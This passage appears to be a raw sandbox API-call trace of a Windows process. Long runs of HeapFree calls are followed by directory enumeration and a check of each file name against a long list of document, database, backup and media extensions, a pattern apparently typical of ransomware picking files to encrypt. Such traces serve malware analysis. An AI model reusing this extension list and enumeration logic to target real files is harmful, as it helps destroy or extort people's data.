dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.559] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0193.559] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.560] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.564] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0193.564] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.565] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0193.565] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.566] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0193.566] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.569] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0193.569] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.570] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0193.570] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.570] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0193.571] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.571] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.571] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.573] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.574] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.574] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.578] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.579] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.579] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.579] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.580] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.580] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0193.580] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.581] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.581] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.581] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.583] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0193.583] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0193.583] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0193.585] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0193.586] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0193.823] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.825] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.825] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.825] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.827] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.827] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.828] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.828] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0193.830] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0193.830] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0193.830] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.830] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.832] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0193.836] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0193.837] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0193.839] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0193.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0193.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.842] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0193.848] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4485068 | out: hHeap=0x420000) returned 1 [0193.848] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0193.850] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0194.096] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.097] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.099] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.100] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.102] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.104] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.107] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.109] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.160] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.167] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.170] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.172] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.175] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.181] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.184] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.187] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.190] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.193] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.196] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.199] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.330] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.332] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.334] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.335] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.337] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.339] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.340] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.342] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.344] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.345] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.347] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.349] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.604] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0194.848] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.850] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.852] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.856] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.857] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.859] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.861] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.862] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.864] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.866] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.867] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.870] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.873] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.879] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.907] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.912] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.924] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.942] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.945] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.948] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.952] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.955] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.961] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.964] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.966] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0194.966] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9cf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0194.966] lstrlenW (lpString="index.html") returned 10 [0194.966] lstrlenW (lpString=".1cd") returned 4 [0194.966] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0194.966] lstrlenW (lpString=".3ds") returned 4 [0194.967] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0194.967] lstrlenW (lpString=".3fr") returned 4 [0194.967] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0194.967] lstrlenW (lpString=".3g2") returned 4 [0194.967] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0194.967] lstrlenW (lpString=".3gp") returned 4 [0194.967] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0194.967] lstrlenW (lpString=".7z") returned 3 [0194.967] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0194.967] lstrlenW (lpString=".accda") returned 6 [0194.967] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0194.967] lstrlenW (lpString=".accdb") returned 6 [0194.967] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0194.967] lstrlenW (lpString=".accdc") returned 6 [0194.967] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0194.967] lstrlenW (lpString=".accde") returned 6 [0194.967] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0194.967] lstrlenW (lpString=".accdt") returned 6 [0194.967] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0194.967] lstrlenW (lpString=".accdw") returned 6 [0194.967] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0194.967] lstrlenW (lpString=".adb") returned 4 [0194.967] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0194.967] lstrlenW (lpString=".adp") returned 4 [0194.967] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0194.967] lstrlenW (lpString=".ai") returned 3 [0194.967] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0194.967] lstrlenW (lpString=".ai3") returned 4 [0194.967] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0194.967] lstrlenW (lpString=".ai4") returned 4 [0194.968] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0194.968] lstrlenW (lpString=".ai5") returned 4 [0194.968] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0194.968] lstrlenW (lpString=".ai6") returned 4 [0194.968] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0194.968] lstrlenW (lpString=".ai7") returned 4 [0194.968] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0194.968] lstrlenW (lpString=".ai8") returned 4 [0194.968] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0194.968] lstrlenW (lpString=".anim") returned 5 [0194.968] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0194.968] lstrlenW (lpString=".arw") returned 4 [0194.968] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0194.968] lstrlenW (lpString=".as") returned 3 [0194.968] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0194.968] lstrlenW (lpString=".asa") returned 4 [0194.968] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0194.968] lstrlenW (lpString=".asc") returned 4 [0194.968] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0194.968] lstrlenW (lpString=".ascx") returned 5 [0194.968] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0194.968] lstrlenW (lpString=".asm") returned 4 [0194.968] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0194.968] lstrlenW (lpString=".asmx") returned 5 [0194.968] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0194.969] lstrlenW (lpString=".asp") returned 4 [0194.969] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0194.969] lstrlenW (lpString=".aspx") returned 5 [0194.969] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0194.969] lstrlenW (lpString=".asr") returned 4 [0194.969] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0194.969] lstrlenW (lpString=".asx") returned 4 [0194.969] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0194.969] lstrlenW (lpString=".avi") returned 4 [0194.969] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0194.969] lstrlenW (lpString=".avs") returned 4 [0194.969] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0194.969] lstrlenW (lpString=".backup") returned 7 [0194.969] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0194.969] lstrlenW (lpString=".bak") returned 4 [0194.969] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0194.969] lstrlenW (lpString=".bay") returned 4 [0194.979] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0194.979] lstrlenW (lpString=".bd") returned 3 [0194.979] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0194.979] lstrlenW (lpString=".bin") returned 4 [0194.979] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0194.979] lstrlenW (lpString=".bmp") returned 4 [0194.979] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0194.979] lstrlenW (lpString=".bz2") returned 4 [0194.979] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0194.979] lstrlenW (lpString=".c") returned 2 [0194.979] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0194.979] lstrlenW (lpString=".cdr") returned 4 [0194.979] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0194.979] lstrlenW (lpString=".cer") returned 4 [0194.979] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0194.979] lstrlenW (lpString=".cf") returned 3 [0194.979] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0194.979] lstrlenW (lpString=".cfc") returned 4 [0194.979] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0194.979] lstrlenW (lpString=".cfm") returned 4 [0194.979] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0194.979] lstrlenW (lpString=".cfml") returned 5 [0194.979] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0194.979] lstrlenW (lpString=".cfu") returned 4 [0194.979] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0194.979] lstrlenW (lpString=".chm") returned 4 [0194.979] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0194.979] lstrlenW (lpString=".cin") returned 4 [0194.979] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0194.980] lstrlenW (lpString=".class") returned 6 [0194.980] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0194.980] lstrlenW (lpString=".clx") returned 4 [0194.980] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0194.980] lstrlenW (lpString=".config") returned 7 [0194.980] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0194.980] lstrlenW (lpString=".cpp") returned 4 [0194.980] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0194.980] lstrlenW (lpString=".cr2") returned 4 [0194.980] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0194.980] lstrlenW (lpString=".crt") returned 4 [0194.980] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0194.980] lstrlenW (lpString=".crw") returned 4 [0194.980] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0194.980] lstrlenW (lpString=".cs") returned 3 [0194.980] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0194.980] lstrlenW (lpString=".css") returned 4 [0194.980] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0194.980] lstrlenW (lpString=".csv") returned 4 [0194.980] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0194.980] lstrlenW (lpString=".cub") returned 4 [0194.980] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0194.980] lstrlenW (lpString=".dae") returned 4 [0194.980] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0194.980] lstrlenW (lpString=".dat") returned 4 [0194.980] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0194.980] lstrlenW (lpString=".db") returned 3 [0194.980] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0194.980] lstrlenW (lpString=".dbf") returned 4 [0194.980] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0194.980] lstrlenW (lpString=".dbx") returned 4 [0194.981] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0194.981] lstrlenW (lpString=".dc3") returned 4 [0194.981] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0194.981] lstrlenW (lpString=".dcm") returned 4 [0194.981] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0194.981] lstrlenW (lpString=".dcr") returned 4 [0194.981] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0194.981] lstrlenW (lpString=".der") returned 4 [0194.981] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0194.981] lstrlenW (lpString=".dib") returned 4 [0194.981] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0194.981] lstrlenW (lpString=".dic") returned 4 [0194.981] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0194.981] lstrlenW (lpString=".dif") returned 4 [0194.981] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0194.981] lstrlenW (lpString=".divx") returned 5 [0194.981] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0194.981] lstrlenW (lpString=".djvu") returned 5 [0194.981] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0194.981] lstrlenW (lpString=".dng") returned 4 [0194.981] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0194.981] lstrlenW (lpString=".doc") returned 4 [0194.981] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0194.981] lstrlenW (lpString=".docm") returned 5 [0194.981] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0194.981] lstrlenW (lpString=".docx") returned 5 [0194.981] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0194.981] lstrlenW (lpString=".dot") returned 4 [0194.981] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0194.981] lstrlenW (lpString=".dotm") returned 5 [0194.981] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0194.981] lstrlenW (lpString=".dotx") returned 5 [0194.981] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0194.982] lstrlenW (lpString=".dpx") returned 4 [0194.982] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0194.982] lstrlenW (lpString=".dqy") returned 4 [0194.982] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0194.982] lstrlenW (lpString=".dsn") returned 4 [0194.982] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0194.982] lstrlenW (lpString=".dt") returned 3 [0194.982] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0194.982] lstrlenW (lpString=".dtd") returned 4 [0194.982] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0194.982] lstrlenW (lpString=".dwg") returned 4 [0194.982] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0194.982] lstrlenW (lpString=".dwt") returned 4 [0194.982] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0194.982] lstrlenW (lpString=".dx") returned 3 [0194.982] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0194.982] lstrlenW (lpString=".dxf") returned 4 [0194.982] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0194.982] lstrlenW (lpString=".edml") returned 5 [0194.982] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0194.982] lstrlenW (lpString=".efd") returned 4 [0194.982] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0194.982] lstrlenW (lpString=".elf") returned 4 [0194.982] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0194.982] lstrlenW (lpString=".emf") returned 4 [0194.982] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0194.983] lstrlenW (lpString=".emz") returned 4 [0194.983] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0194.983] lstrlenW (lpString=".epf") returned 4 [0194.983] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0194.983] lstrlenW (lpString=".eps") returned 4 [0194.983] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 